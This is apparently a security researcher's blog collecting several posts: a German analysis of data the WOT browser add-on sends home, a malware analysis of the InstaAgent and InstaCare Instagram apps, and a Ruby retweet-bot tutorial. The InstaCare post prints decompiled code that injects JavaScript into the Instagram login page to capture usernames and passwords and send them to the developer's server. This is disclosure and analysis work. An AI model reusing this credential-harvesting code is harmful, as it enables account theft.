web-of-trust

Wie Web Of Trust (WOT) Nutzerdaten ausspähte

Das bekannte Browser Add-on “WOT – Web Of Trust” verspricht seinen Nutzern ein sicheres Surfen im Internet – durch Nachforschungen des NDR ist das Browser-Zusatzprogramm in Verruf geraten, es würde nicht nur die Integrität von Websites überprüfen sondern auch das Surfverhalten des Nutzers aufzeichnen und die gesammelten Informationen verkaufen. Mozilla und Chrome reagierten schon und entfernten das Zusatzprogramm aus ihren “Add-on Stores”. Wie das Plugin diese Daten sammelte, und inwiefern die gesammelten Daten ein Datenschutzproblem darstellen könnten, werde ich in diesem Artikel versuchen aufzuzeigen.

Um WOT einer genaueren Analyse Unterziehen zu können, zeichnete ich den Netzwerkverkehr der WOT Safari Extension auf (welches sich (immer)noch im Offiziellen Apple Safari Extensions Store befindet).

Ich besuchte nun, mit aktivierten Add-On, verschiedene Websites, während ich den Netzwerkverkehr mitschnitt. Nach dieser “Surf-Simulation” wertete ich meine gesammelten Netzwerkdaten aus:

Während der Auswertung des Netzwerkverkehrs wurde schnell ersichtlich das, das WOT-Plugin bei jeder besuchten Website eine Anfrage an die Web Of Trust  Server sendet (orange in der Abbildung markiert) .

 

screen-shot-2016-11-05-at-14-52-37
Informationen werden an die WOT Server übermittelt

Um diese Aufzeichnung besser verstehen zu können, muss man sich die eigentliche Funktion, des WOT Add-On’s wieder in den Sinn rufen: das Plugin soll den Nutzer vor potenziell Schädlichen Websites warnen um somit potenziellen Schaden z.B durch Malware verhindern. Eine Anfrage an eine Externe Datenbank, ist im Anbetracht des Umfangs an verschiedenen Websites, zwingend nötig. Dieser Abgleich der URL von der vom Benutzer besuchten Website mit einer Externen Quelle ist also unausweichlich, um die Funktion des Add-On’s zu ermöglichen.

Interessant ist hierbei aber nicht nur die Tatsache das eine Anfrage an die WOT-Server Übermittelt werden sondern auch die Chronologie der Anfrage. Die in der Abbildung orange markierte Anfrage, wurde erst nachdem die eigentliche Seite, also z.B auch potenziell Schädlicher Code, den es ja abzufangen gilt, geladen. Die potenziell schädliche Website wird bevor eine Abgleich mit der WOT Datenbank stattgefunden hat, geladen, WOT kann rein technisch keine Kompromittierung verhindern, sondern nur auf eine (mögliche) Kompromittierung hinweißen.

Die technische Realisierung sowohl auch der Abgleich mit einer externen Datenbank, ist zwar ungeschickt aber unausweichlich und stellt bis hier hin, wie ich finde, keine Verletzung des Datenschutzes da. Ein genauere Analyse zeigte mir dann das wirkliche Dilemma des WOT Add-On’s auf.

Um dieses Verstehen zu können müssen wir uns dem Inhalt der Anfrage an die externe WOT Datenbank widmen:

screen-shot-2016-11-05-at-15-29-04
HTTPS-Packet Inhalt an Web Of Trust (WOT) Server

Die Anfrage wird verschlüßelt (via SSL) an die Server übermittelt. Der HTTP Header ist soweit unauffällig, allerdings dient der gesetzte Cookie vermutlich zur eindeutigen Identifizierung des Benutzers, was für Gewährleistung der eigentlichen Funktion des AddOns nicht nötig wäre. Im HTTP Body werden die eigentlichen Daten an den Server via POST request übermittelt. Der POST Variable e (blau markiert) wird ein (zweifach) Base64 codierter String zugewiesen. Decodiert man ihn lässt sich folgender Inhalt erschließen:

s=242&md=21&pid=1HmeWXk2zOKKQInd0o85ZI74fXDKU2hg&sess=bL8JAKX3vlgG120ZJ7ni2ioB8kQiZlGC&q=https://www.test.de/&prev=https://www.test.de/&link=0&sub=safari&tmv=1.0&hreferer=https://www.test.de/&ts=1478353985192

Auch hier findet man eine Session ID zur eindeutigen Identifikation des Nutzer vor (sess=). Auch die URL wird, wie wir schon vermutet haben, übermittelt (q=).  Die weiteren Variablen sind für unsere Analyse unwichtig.

In diesem Fall werden zwar alle unsere Vermutungen bestätigt, die URL wird übermittelt und der Benutzer ist eindeutig identifizierbar, dass eigentliche Datenschutzproblem wird aber erst in einem weiteren Beispiel ersichtlich:

s=242&md=21&pid=1HmeWXk2zOKKQInd0o85ZI74fXDKU2hg&sess=jpO3xsopTBFPD2joqPeGaQuxlD94TUeU&q=https://translate.google.com/#en/de/Das%20ist%20ein%20geheimer%20Text.&prev=https://translate.google.com/#en/de/Das%20ist%20ein%20geheimer%20Text.&link=0&sub=safari&tmv=1.0&hreferer=&ts=1478364034052

Auch hier wird wieder eine Anfrage an die WOT Server gesendet, dieses mal versucht das WOT AddOn mit der externen Datenbank abzugleichen ob die Google Übersetzer Seite sicher ist (https://translate.google.com).  Wie in Fall 1 wird die Session-ID Übermittelt sowie auch die URL. Was einem in diesem Fall sofort auffällt ist, dass der gesamte URL Pfad inklusive GET-Parametern übermittelt wird. Hier ist es der Text, den ich mit dem Google Übersetzer, übersetzen wollte (“Das ist ein geheimer Text.”). GET-Parameter werden verwendet um Informationen zwischen Client und Server auszutauschen, oft werden Session ID’s oder andere Benutzer relevanten  Informationen übertragen. In seltenen Fällen werden sogar Passwörter oder noch vertraulicher Daten übermittelt. Um die eigentliche Funktion des AddOns zu gewährleisten würde es reichen nur den Hostname, in unserem Fall translate.google.com, zu Übermitteln, ohne GET Parameter. User-Spezifische Daten werden nicht benötigt um “Bösartige” Websites zu identifizieren!

Das eigentliche Dilemma ist nicht dir Übermittelung von der URL des besuchten Website (welche unausweichlich ist) sondern, die Übermittlung der Nutzer Spezifischen URL (GET) Parameter. Falls die Daten von WOT (die laut NDR aktiv verkauft werden), in die falschen Hände geraten, könnten sensible Daten gestohlen, Nutzer Überwacht, und viel Schaden angerichtet werden.

 

 

 

ios_icon

Textracto Project launch

We are happy to announce the start of our new project: textracto.com. textracto is a html web extraction tool, which offers an free-to-use api.

ios_icon

Our html content extractor extracts plaintext from blog-posts and articles, its perfect for site scraping. It automatically identifies the main content, and removes the surplus “clutter” (boilerplate, templates) around it. The content extractor works best for news articles and blog posts.

IMG_2073

#1 ranked app from the iOS AppStore is a password-stealing malware.

Today I finally managed it to decrypt the  “suspect” network packed from the top ranked iOS app “Who Cares With Me – InstaDetector“.

IMG_2180IMG_2179iosPacket

As I had a closer look to the iOS app I found out that the app steals the Instagram password&username to send it encrypted to “unknown” servers. The “password-stealing” algorithm and the encryption seems to be the same as in “InstaCare – Who cares with me?” a new iOS app from the “InstaAgent” developer, which malicious behaviour I discovered a few days ago. A working PoC (Proof of concept for the iOS version) can be found here. As I said the apps (InstaCare – Who cares with me? and Who Cares With Me – InstaDetector )  are very popular in a few countries, they got probably millions of downloads, Apple should remove these malware apps immediately from his AppStore! Millions of Instgramm account credentials got stolen.

instaagent_featured

Hacking a hacker – InstaAgent developer Turker Bayram strikes back.

UPADTE: iOS Version steals password too. “Who Cares With Me – InstaDetector“ is also affected. Read more.

Last week the InstaAgent developer “Turker Bayram” released a new app for the Android and iOS AppStore, after his (malicious) app “InstaAgent” was pulled by Apple&Google from their AppStores. I was astonished that Apple and Google didn’t have a closer look at his new application. One should assume a developer who already published a malicious app, should be watched more closely. His new app is called “Who Viewed Me on Instagram” (Android Version 50K – 100K downloads), and “InstaCare – Who cares with me?” (iOS Version top grossing app in Germany Category: Entertainment). The app promises the same functionality as InstaAgent did:

“- This app can show you up to most recent 100 list for your Instagram profile.

– This app displays your friend list in order, who cares your profile most with your profile interaction.”

IMG_2079     IMG_2105

Again, I’ve analysed the app, to find out if the app steals the Instagram username password again . At first glance it did not seem to, but there is one suspect HTTPS network packed:

instaAgentSuspectPacked instaAgentSuspectPacked instaAgentSuspectPacked

There is a HTTPS body value called “hash”. The data is base64 encoded and AES encrypted. To find the key for the AES decrypted data, I “decompiled” the Android version of InstaCare. And this is how the encryption algorithm looks like:

EncryptedAlgo

The interesting  parts are:

The AES encryption (PART A):


private static byte[] a(byte abyte0[], byte abyte1[])
{
abyte0 = new SecretKeySpec(abyte0, "AES");
Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
cipher.init(1, abyte0);
return cipher.doFinal(abyte1);
}

And the AES key generation (PART B):

private static String b(String s)
{
int i = 0;
String as[] = new String[13];
as[0] = "iiksdnhncvwyfmhrucwfdqraeilxyfjdovvthbgkzefbrntjrrpuofvuogujldmxqhtfjwpfcyguixdwrtqnxmutyieupqwwynewilsskvniflzfqpqubxmszkwvrhfhwrcospqqaucwjxsdttdfkapbtoziycijifgixiiw";
as[1] = "bprcrdeqmdymivvooydixtwsdloqgdahusjkyohhsdvawoonktyjkvbnfrklulunddqwsffjjxjhowvwrphajiopxxatlugozemokswushaffvdzqvvmjulkmqetlaphrnybmbzrqhcyczhmruzdrazcbuasarebwxbxbwhe";
as[2] = "bspojulxamjnhaglkzrygalmmxcpuijvxwjjsyithsfotlxdhrwoskadjdudlcqlbhvucclkvrwncwrkopwfxxdcmpfkagsvxvetcdfebzorlnylmfvpihensfviavdqghpikymmsbownbdirlpyxgbvpbptwyaodkjrzasx";
as[3] = "lpqtcbaqbxhukfccaagpnxtpdvrpnguxzssxutzvtdodjrfkrmxelsvplkfxrwxnrrmjjidbmsezikgxzgdiqwwjidjxbixwhekuzppexzdzchfafdjogunicxabqbkefvwckogjkkgmtlnwpqmyrxdtwdvzeebkxxouexmq";
as[4] = "wdgyoscucxoiqumhsrcoxyqiyjfedehkxzbbrdbemxwwhpokdnfbyeqsoczsgdbgadirgkytjursifbmtgnoklgxncrugtxhyiqcttycmmuvsvbvxmfglujcnrymvyunoopaaivtdbcezcscicyseihayfakdoxtoabjteky";
as[5] = "movgcnpxgzlyqtvlxyevlcjxrudfzpurzyemvkjfggwatqyzshwbgiaqbecquyorsudlskupllnhieohgypguskypesdyiqwvcmebqrofwuvfxpvlseazzesfcrxecgmpqavyuoaueyxssinnnftpztvwdlfracsyqljweov";
as[6] = "lkfzadkymzrcopeeehkfimugxxgorvxbefqfjhbzeswugcqlkiruyjavjgixaibfnxkzgmtldsekvbyekmwfywxfeiffrglefybmivqmlczgdtloejuahufmblttsdqqxwuhufjrlnizbngvnnouaretjzyguyfccxeumpmh";
as[7] = "ynkrnmhheyddbastbwsdewsignocjcpepavdmclsqoywpmsrkivpglwnrhrfmfghjtjvkgjgfwtqpdfjumvtatfrxyzmbcukycfgjompnfitlcvfwazwyukqzehthnwrblgortrxbrizyhqsgtlrxclqjxbxwdvaudqpkvhr";
as[8] = "ynkrnmhheyddbastbwsdewsignocjcpepavdmclsqoywpmsrkivpglwnrhrfmfghjtjvkgjgfwtqpdfjumvtatfrxyzmbcukycfgjompnfitlcvfwazwyukqzehthnwrblgortrxbrizyhqsgtlrxclqjxbxwdvaudqpkvhr";
as[9] = "vljhyuiqszparjktssogdpnedhoapozjxgsyxxtszhtmscejvupwjccmjrmxfjifrxapxuhybxitcnbzgrvruqcdopcuxlxplxfkumgvmonobokiffwwdbcsselrpkgakmldxswlflakpgrneuohlflqzbidpnqpeyharhlg";
as[10] = "ualsawqpldqqsqhtnicneojfjqvfvgbognfhqzgvvwtbsgjuuoidusqyvxkbmriqvbapxtrrwxjtotzhurgestvaroflpfwsfqrppehlmsjiwcxfgsqbsorqagdaybsbwinwaapjiomiutxrvsfkrtgmuwntgdhvbhsdfdmw";
as[11] = "uncxogkwwbsbsouqkjmlthbrueadocgirjheptcnuupkiiittvdkcfbzjbxwefhvopxehctazhlepvoatsfunpymoxtyvhlultzdutkezaxuhnuxfxpofdnqxiekcpdwuzrebneagmmuxfmousshospucsifpcgdulexquxj";
as[12] = "ncjqnuqeqfoghrqtwmmsieahqxcbmpaxtkdyjaaqgioebnrnextfhpejssxtdozgjghkeotutvgjhlixsppyxhnwxerctmjcurfgsqawhikrhbgqeeovhhkbhqxmerkeotmwivaotqvqhxcyvjccamdhkcvothgfxgvtpkos";
StringBuilder stringbuilder = new StringBuilder();
while (i < s.length()) { int j = as.length; if ("LHMgO!X&3I09KenZST/W)lEbCD:Rizh5,N+oy>qcPxdpY_fuAU-#jw[]F<{}4k%BG;1J6?(vm2sa.rtV78Q ".indexOf(s.charAt(i)) > -1) //150 150 - 152
{
int k = "LHMgO!X&3I09KenZST/W)lEbCD:Rizh5,N+oy>qcPxdpY_fuAU-#jw[]F<{}4k%BG;1J6?(vm2sa.rtV78Q ".indexOf(s.charAt(i)) * 2;
stringbuilder.append(as[i % j].substring(k, k + 2));
} else
{
stringbuilder.append(s.charAt(i)).append(s.charAt(i));
}
i++;
}
return stringbuilder.toString();
}

And PART C

public void onPageFinished(WebView webview, String s)
{
a.b.j.dismiss();
if (s.indexOf("accounts/login/") > 0 && ar.m.equals("test"))
{
s = new StringBuilder();
s.append("document.getElementsByTagName('form')[0].onsubmit = function () {");
s.append("var objPWD, objAccount;var str = '';");
s.append("var inputs = document.getElementsByTagName('input');");
s.append("for (var i = 0; i < inputs.length; i++) {");
s.append("if (inputs[i].type.toLowerCase() === 'password') {objPWD = inputs[i];}");
s.append("else if (inputs[i].name.toLowerCase() === 'username') {objAccount = inputs[i];}");
s.append("}");
s.append("if (objAccount != null) {str += objAccount.value;}");
s.append("if (objPWD != null) { str += ',-UPPA-,' + objPWD.value;}");
s.append("window.MYOBJECT.processHTML(str);");
s.append("return true;");
s.append("};");
webview.loadUrl((new StringBuilder()).append("javascript:").append(s.toString()).toString());
}
}

PART C is used to inject JS in the Instagram login page, to store the username and the password in a string, to send it to his server.

 

For the AES key generation he uses a  combination of an UDID and a ID (given from the server)  for example:

 uuid=16cdeef358a33ace and  id=221163.0c5  than they key looks like: 221163.0c516cdeef358a33ace //He sends this both values also to his server(!)

He “encrypts” the AES key with PART B. After the encryption the key looks like: “dfoykykkbgljjzrt”  . After that he “encrypts” the string from PART C (this string contains the Instagram username and password from the user and other meta informations) with the algorithm of  PART B. To make the encryption even harder he encrypts this string again with the AES Key that he generated from the UDID and ID. After this procedure he sends the encrypted string (base64 encoded) , the UDID and  the ID to his server (https://api-2.instadetect.com).

instaAgentSuspectPacked

 

With the ID and the UDID from the user he is able to decrypt the Instagram password and username later again. A working PoC (that decrypts the string)  written in Java can be found here.

The decrypted string contains following:

device=androidg26verJion=v1.2&uuid=56cdaef358a33ace&lang=de&countryg3DDE&packet=com.instacare.insta&idi3D268163.0b5i26referansg3D{70945.9a2g26lis0e=&uppa=USERNAME,-UPPA-i2CPASSWORDg26goon=

As you can see the encrypted string, that is send to the server of the InstaCare developer, contains the Instagram password and username !

After he successfully stole the Instagram login credentials, he uses them to post spam images into the stolen accounts:

IMG_2073

 

 

InstaCareFlow

Unfortunately I am currently not able to analyse the iOS version of the app completely (I don’t have a jailbroken iOS device, to decrypt the binary ): ) . But the same “suspect” HTTPS packet can be also found in the network traffic of the iOS version:

iosPacket

He probably uses a other encryption key combination for the iOS version, therefore I am currently not able the decrypt it. But if you ask me, its most likely that the iOS version also steals the Instagram password & username of the user. This would be the second time that this developer published malware into the iOS AppStore! Just as “InstaAgent” , the new app “InstaCare” is again in the iOS top-charts with thousands of downloads! Again Apple and Google did not manage to keep their AppStores free of malware. Apple and Google should remove these apps, as soon as possible!Apple and Google let a malicious App in their stores from the SAME developer, for the second time. 😿😂

IMG_2096IMG_2084

 

twitter_bot_featured

Retweet Bot for Twitter – How to make your own

Wouldn’t it be cool, if you were able to make your own Twitter retweet bot which will automatically retweet tweets of a specific #Hashtag for you? Exactly this  you will be able to do, after you read this article (; . To build up the Twitter retweet bot we will use an programming language called “Ruby”. “Ruby” is very easy to handle, but don’t worry you need to learn Ruby to follow this tutorial.

Set up Twitter

First you need to create an Twitter “application” right there: https://apps.twitter.com

twitterbot1-825x510

 

Just fill out the informations and create your applications.

 

Now navigate to “Keys and Access Tokens”  and create an asses token (“Create my access token”). This information we need later to create a “connection” between your Ruby application and your Twitter account.

Create your Ruby application

To run a Ruby application on your computer you will have to install Ruby. If you have mac OSX, Ruby is already preinstalled. On a Windows based OS you can get and install Ruby with this easy to use installer: http://rubyinstaller.org .

Now open the command line, short cmd if you have an windows based system. If you have an OSX based system open the Terminal. Type in following command to install a ruby Twitter library ( you need Admin privileges):

gem install twitter

After you installed Ruby you need to create a blank file named twitterbot.ruby (you can save the file on the desktop). Now open this file with a text editor (you can use for example atom.io ).

Paste in following Ruby code:

require 'twitter'

client = Twitter::REST::Client.new do |config|
  config.consumer_key = "x"
  config.consumer_secret = "x"
  config.access_token = "x"
  config.access_token_secret = "x"
end

Open your Twitter application again (https://apps.twitter.com). Navigate to “Keys and Access Tokens”

twitter3-825x510

Now replace the x’s in the Ruby code with your Twitter application keys that are on the page.

consumer_key: Consumer Key (API Key)  | looks like this: xaFsgjRm73FkeueWLZtDewxsmb

access_token: Access Token | Looks like this:                                                   2357167676-uzL8718IfrwzVVzvOGHJG8MlK4O3Oh4X8mCGHUG

access_token_secret: Access Token Secret |  Looks like this: yMETR1e1uZb6IXSH78p38766TA0hNMH0SQbMujFw3is

consumer_secret: Consumer Secret (API Secret) | looks like this: 3A9c8hUZGhbb2Lzf9u9robYQ8h9MW8UA7OJ899N8Q5XD98MZ

For example consumer_key would look like this:

  config.consumer_key = "xaFsgjRm73FkeueWLZtDewxsmb"

Please note that you can not use the keys in the examples here! When you are done with this paste this code under the last code you’ve pasted in:


def run(client)
  retweetKeyword = "#News"
  while true
    re = client.search(retweetKeyword).first.id
    client.retweet(re);
    puts "Retweet: #{re} #{Time.now}";
    sleep(300); #Every five minutes
  end

  
end

run(client);

Replace the value #News of retweetKeyword with an other hashtag value (if you want). The retweet interval is set to 5 minutes, you can change this by editing sleep() in line 7 (you have to enter seconds 300sec == 5min). Save the file and open your terminal/command line again type in:

ruby [location to your twitterbot.ruby or drag and drop twitterbot.ruby in the window]

twitterbot5-300x193

 

 

Press enter. If everything works fine you will see something like this:

twitterbot4

Just keep the bot running to automatically retweet. Please note that the Twitter API is limiting retweet’s to 2,400 per day. I hope you’ve enjoyed reading, if you have any questions feel free to comment below. You can download twitterbot.ruby from here, if you don’t want to do it your own (you still have to fill out your own API keys ) : https://goo.gl/CU6EW9

instaagent_featured

InstaAgent Summary

[wpfib]

 

discovered InstaAgent two days ago in the top charts of the iOS AppStore. I was wondering how they could provide Informations that Instagram couldn’t or would not. I’ve downloaded the App, as expected the App was showing me some “strange” information about my “top” Instagram visitors. That was suspicious. So I analysed the app. I monitored the network traffic of the app. And I found a suspect HTTP post to an “unknown” server. The InstaAgent app sent this packet sent after the user authorised a Instagram “application” called “Profil Analizi” from the app.

This suspicious packet contained the Instagram username and password and was sent to “instagram.zunamedia.com”:

csrfmiddlewaretoken=e18285ef0c51a816aca46858ad6bea53&username=x&password=x 


Another mentionable fact is that the InstaAgent developer used the subdomain instagram.zunamedia.com to sent the data that was EXACTLY the same data that has been sent to the official Instagram servers to his server. I think that he wanted to “hide” his malicious HTTP packet because at the first glance it looked like an “official” HTTP packet to the Instagram servers (but however this is only a presumption).

About 24h after I used the app an image (seld-adversting for InstaAgent) was published (WITHOUT my permission) to my Instagram account.

Today the developer said in an public statement (http://zunamedia.com) “Your password never saved unauthorized servers”, but I think this is wrong, because the Instagram “application” “Profil Analizi” has NO permission to publish photos to a Instagram account. (ACCESS YOUR BASIC INFORMATION ,Includes photos, friend lists & profile info ).
As far as I see it, it appears that in order to publish the ad image hours later, InstaAgent had to SAVE the Instagram log-in credentials to their servers to login later into your Instagram account to publish the ad image!

Another strange fact is that it is nearly impossible (for me) to identify the developer of InstaAgent (his AppStore dev name was Turker Bayram). And why didn’t the #InstaAgent developer sign his statement?.
And if you are making an WHOIS to the zunamedia.com server you can not get any informations because of domains proxy. Why is he hiding his identity? Who is Zunamedia ?

To sum, the behaviour of InstaAgent is very very strange, you should not use the app. Theoretical the app developer has now access (and the credential) to over half a million Instagram accounts.

12.11.15 18:01
[email protected]
That’s my assumption, all information without guarantee (;